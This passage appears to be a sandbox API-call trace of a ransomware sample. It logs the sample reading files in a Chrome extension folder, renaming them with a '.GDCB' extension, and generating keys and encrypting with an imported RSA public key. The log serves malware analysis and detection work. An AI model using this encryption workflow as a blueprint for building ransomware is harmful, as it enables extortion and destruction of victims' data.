data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0277.978] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0277.981] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0277.984] ReadFile (in: hFile=0x520, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285d3e8*=0xca90, lpOverlapped=0x0) returned 1 [0277.992] VirtualAlloc (lpAddress=0x0, dwSize=0xca90, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0277.999] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.gdcb")) returned 1 [0278.004] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0278.007] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.009] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.009] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0278.009] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.009] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0278.012] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.014] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.014] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0278.014] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.014] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0278.017] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678d720) returned 1 [0278.017] CryptGetKeyParam (in: hKey=0x678d720, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0278.017] CryptEncrypt (in: hKey=0x678d720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0278.017] GetLastError () returned 0x0 [0278.017] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.017] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0278.019] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678d7a0) returned 1 [0278.019] CryptGetKeyParam (in: hKey=0x678d7a0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0278.019] CryptEncrypt (in: hKey=0x678d7a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0278.020] GetLastError () returned 0x0 [0278.020] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.020] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0278.021] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0278.024] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0278.026] ReadFile (in: hFile=0x520, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285d3e8*=0xe40, lpOverlapped=0x0) returned 1 [0278.034] VirtualAlloc (lpAddress=0x0, dwSize=0xe40, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0278.040] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.gdcb")) returned 1 [0278.044] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0278.047] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.049] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.049] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0278.049] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.049] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0278.052] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.054] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.054] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0278.054] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.055] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0278.057] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678db60) returned 1 [0278.057] CryptGetKeyParam (in: hKey=0x678db60, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0278.057] CryptEncrypt (in: hKey=0x678db60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0278.057] GetLastError () returned 0x0 [0278.057] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.057] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0278.059] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678d8e0) returned 1 [0278.059] CryptGetKeyParam (in: hKey=0x678d8e0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0278.059] CryptEncrypt (in: hKey=0x678d8e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0278.059] GetLastError () returned 0x0 [0278.059] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.059] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0278.060] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0278.063] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0278.066] ReadFile (in: hFile=0x520, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285d3e8*=0x3ac0, lpOverlapped=0x0) returned 1 [0278.074] VirtualAlloc (lpAddress=0x0, dwSize=0x3ac0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0278.080] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.gdcb")) returned 1 [0278.084] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0278.087] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.089] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.089] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0278.089] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.089] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0278.092] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.094] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.094] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0278.094] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.094] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0278.097] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678dba0) returned 1 [0278.097] CryptGetKeyParam (in: hKey=0x678dba0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0278.097] CryptEncrypt (in: hKey=0x678dba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0278.098] GetLastError () returned 0x0 [0278.098] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.098] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0278.099] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678dc60) returned 1 [0278.099] CryptGetKeyParam (in: hKey=0x678dc60, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0278.099] CryptEncrypt (in: hKey=0x678dc60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0278.100] GetLastError () returned 0x0 [0278.100] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.100] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0278.101] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0278.104] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0278.107] ReadFile (in: hFile=0x520, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285d3e8*=0x2b20, lpOverlapped=0x0) returned 1 [0278.131] VirtualAlloc (lpAddress=0x0, dwSize=0x2b20, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0278.137] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js.gdcb")) returned 1 [0278.140] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0278.143] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.145] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.145] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0278.146] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.146] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0278.148] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.150] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.150] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0278.150] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.150] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0278.153] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678e060) returned 1 [0278.153] CryptGetKeyParam (in: hKey=0x678e060, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0278.153] CryptEncrypt (in: hKey=0x678e060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0278.153] GetLastError () returned 0x0 [0278.153] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0278.153] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0278.155] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678d9e0) returned 1 [0278.155] CryptGetKeyParam (in: hKey=0x678d9e0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0278.155] CryptEncrypt (in: hKey=0x678d9e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0278.155] GetLastError () returned 0x0 [0278.155] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.155] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0278.157] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0278.160] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0278.162] ReadFile (in: hFile=0x520, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285d3e8*=0xb10, lpOverlapped=0x0) returned 1 [0278.169] VirtualAlloc (lpAddress=0x0, dwSize=0xb10, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0278.176] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json.gdcb")) returned 1 [0278.179] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0278.182] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.185] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.185] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0278.185] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.185] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0278.188] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0278.190] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0278.190] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0278.190] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.191] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0278.193] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678df60) returned 1 [0278.193] CryptGetKeyParam (in: hKey=0x678df60, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0278.193] CryptEncrypt (in: hKey=0x678df60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0278.193] GetLastError () returned 0x0 [0278.193] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.193] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0278.195] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678de60) returned 1 [0278.195] CryptGetKeyParam (in: hKey=0x678de60, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0278.195] CryptEncrypt (in: hKey=0x678de60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0278.195] GetLastError () returned 0x0 [0278.195] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0278.195] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 